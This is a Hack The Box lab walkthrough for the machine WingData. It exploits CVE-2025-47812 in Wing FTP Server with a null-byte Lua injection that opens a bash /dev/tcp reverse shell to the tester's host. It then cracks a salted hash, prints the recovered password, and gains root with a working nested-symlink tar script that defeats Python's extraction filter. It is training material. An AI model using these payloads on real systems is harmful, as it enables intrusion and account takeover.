Skip to main content
HTB: WingData
  1. Posts/

HTB: WingData

Table of Contents

Introduction
#

WingData is an easy-rated Linux machine from Hack The Box. The initial foothold leverages a null-byte injection vulnerability (CVE-2025-47812) in Wing FTP Server v7.4.3, allowing arbitrary Lua code execution to a reverse shell. After extracting and cracking a salted password hash from the application configuration files, horizontal privilege escalation is achieved to pivot to the user wacky. Finally, root access is obtained by exploiting a custom Python backup restoration script; despite using Python’s modern data extraction filter, the script falls victim to a directory traversal technique utilizing nested symlinks to overwrite the root user’s SSH keys.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.10.21
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
|   256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.66
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add wingdata.htb to /etc/hosts

Web - TCP 80
#

First look at the website shows nice page:

Web

There is a contact form:

Web2

That actually sends POST request when filled in:

Web3

At the top a pop-up suggests to check a Portal Guide:

Guide

When visiting the Client Portal I am redirected to ftp.wingdata.htb - add it to /etc/hosts and check it:

It runs an instance of Wing FTP Server version 7.4.3

CVE-2025-47812
#

Googling for Wing FTP Server v7.4.3 points me towards a CVE-2025-47812

{{ alert }} In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts. {{ /alert }}

Remote code execution looks promising.

For more information I read THIS awesome writeup by RCE Security. First, it shows I can use anonymous login:

Anon

Which, to my shock, actually worked:

Anon2
Anon3

Next, the code execution:

anonymous.]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
Code
Code2

It works, to get a reverse shell I just need to modify the request a little:

local h = io.popen("bash -c 'exec bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'")

So the final username and password looks like this:

username=anonymous%00]]%0dlocal+h+%3d+io.popen("bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.92/4444+0>%261'")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
Rev
Rev2

The second request hangs, but I get a hit on my listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.92] from (UNKNOWN) [10.129.10.21] 52918
bash: cannot set terminal process group (3538): Inappropriate ioctl for device
bash: no job control in this shell
wingftp@wingdata:/opt/wftpserver$ 

I am on the host as wingftp and can not do much

wingftp@wingdata:/opt/wftpserver/Data/1/users$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

I have to look around for more info.

In the opt/wftpserver/Data there are some interesting files:

wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml
wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>

<SNIP>

This looks like a password hash, neither crackstation nor hashcat was able to crack it. I missed one more file:

wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml 
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">

<SNIP>
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>
<SNIP>

This gives me salt for the password and I can try one more time:

└─$ cat wacky.hash
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

└─$ hashcat -m 1410 wacky.hash ~/Tools/rockyou.txt          
hashcat (v6.2.6) starting

<SNIP>          

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
   
<SNIP>

And after a short wait I get the password - !#7Blushing^*Bride5

Now I can SSH in and grab the user flag:

└─$ ssh wacky@10.129.10.21          
wacky@10.129.10.21's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 17 04:43:56 2026 from 10.10.14.92
wacky@wingdata:~$ cat user.txt 
5e526d80d86fb842a2744c378fe16c46

Root
#

As always, starting with sudo -l:

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Ok, there is something, let’s take a look at the code:

wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

This script has a classic Tar Slip (or Path Traversal) vulnerability. Even though the script validates the filename of the backup and the name of the restore directory, it does not validate the contents of the tarball itself.

The Vulnerability: Path Traversal via Tar
#

The tarfile module, by default, will extract files to the location specified inside the tar archive. If a file inside my backup_1001.tar is named ../../../../root/.ssh/authorized_keys, the script (running as root via sudo) will happily write the public key to that location.

  1. Generate a New SSH Key
└─$ ssh-keygen -t rsa -f ./id_rsa -N ""
Generating public/private rsa key pair.
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:BJw5XcZd9fZn1gw3Qu5rnO99vlMcIVkoyYasBDCzp9Q kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|   +.oo+.o=..o=o.|
|    = =o.+.=++ ..|
|   o E..o . .oo.=|
|  . o  o    . .*+|
|   .    S    . .O|
|            . oo+|
|             =  .|
|            . ..o|
|              .=*|
+----[SHA256]-----+
  1. Create the payload
python3 -c "  
import tarfile  
import os  
import io  
import sys  
  
with open('/tmp/root_key.pub', 'r') as f:  
   ssh_key = f.read()  
  
comp = 'd' * (55 if sys.platform == 'darwin' else 247)  
steps = 'abcdefghijklmnop'  
path = ''  
  
with tarfile.open('/opt/backup_clients/backups/backup_9999.tar', 'w') as tar:  
   for i in steps:  
       a = tarfile.TarInfo(os.path.join(path, comp))  
       a.type = tarfile.DIRTYPE  
       tar.addfile(a)  
  
       b = tarfile.TarInfo(os.path.join(path, i))  
       b.type = tarfile.SYMTYPE  
       b.linkname = comp  
       tar.addfile(b)  
  
       path = os.path.join(path, comp)  
  
   linkpath = os.path.join('/'.join(steps), 'l'*254)  
   l = tarfile.TarInfo(linkpath)  
   l.type = tarfile.SYMTYPE  
   l.linkname = '../' * len(steps)  
   tar.addfile(l)  
  
   e = tarfile.TarInfo('escape')  
   e.type = tarfile.SYMTYPE  
   e.linkname = linkpath + '/../../../../root/.ssh/authorized_keys'  
   tar.addfile(e)  
  
   content = ssh_key.encode()  
   key_file = tarfile.TarInfo('escape')  
   key_file.type = tarfile.REGTYPE  
   key_file.size = len(content)  
   tar.addfile(key_file, fileobj=io.BytesIO(content))  
  
   test = tarfile.TarInfo('test')  
   test.type = tarfile.SYMTYPE  
   test.linkname = linkpath + '/../../../../tmp/poc_worked.txt'  
   tar.addfile(test)  
   test_content = b'POC_WORKED'  
   test_file = tarfile.TarInfo('test')  
   test_file.type = tarfile.REGTYPE  
   test_file.size = len(test_content)  
   tar.addfile(test_file, fileobj=io.BytesIO(test_content))  
  
print('[+] GOOOOO: backup_9999.tar')"  

The script generates a tar archive to bypass tarfile extraction filters. It plants symlink that appear internal to the archive’s destination folder but resolves back to the absolute filesystem root.

When the vulnerable restoration application extracts the archive with root privileges, the validation filter misinterprets the paths as safe. The process first extracts the nested symlinks, and then immediately extracts a regular file containing my custom SSH public key.

Underlying OS follows the newly created link during the file-write operation, cleanly overwriting the target file at /root/.ssh/authorized_keys and gives persistent root access via SSH.

  1. Execute
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b /opt/backup_clients/backups/backup_9999.tar -r restore_poc  

It worked so I can simply SSH in as root and grab the flag!

ssh -i /tmp/root_key root@10.129.10.21 
cat /root/root.txt
Author
~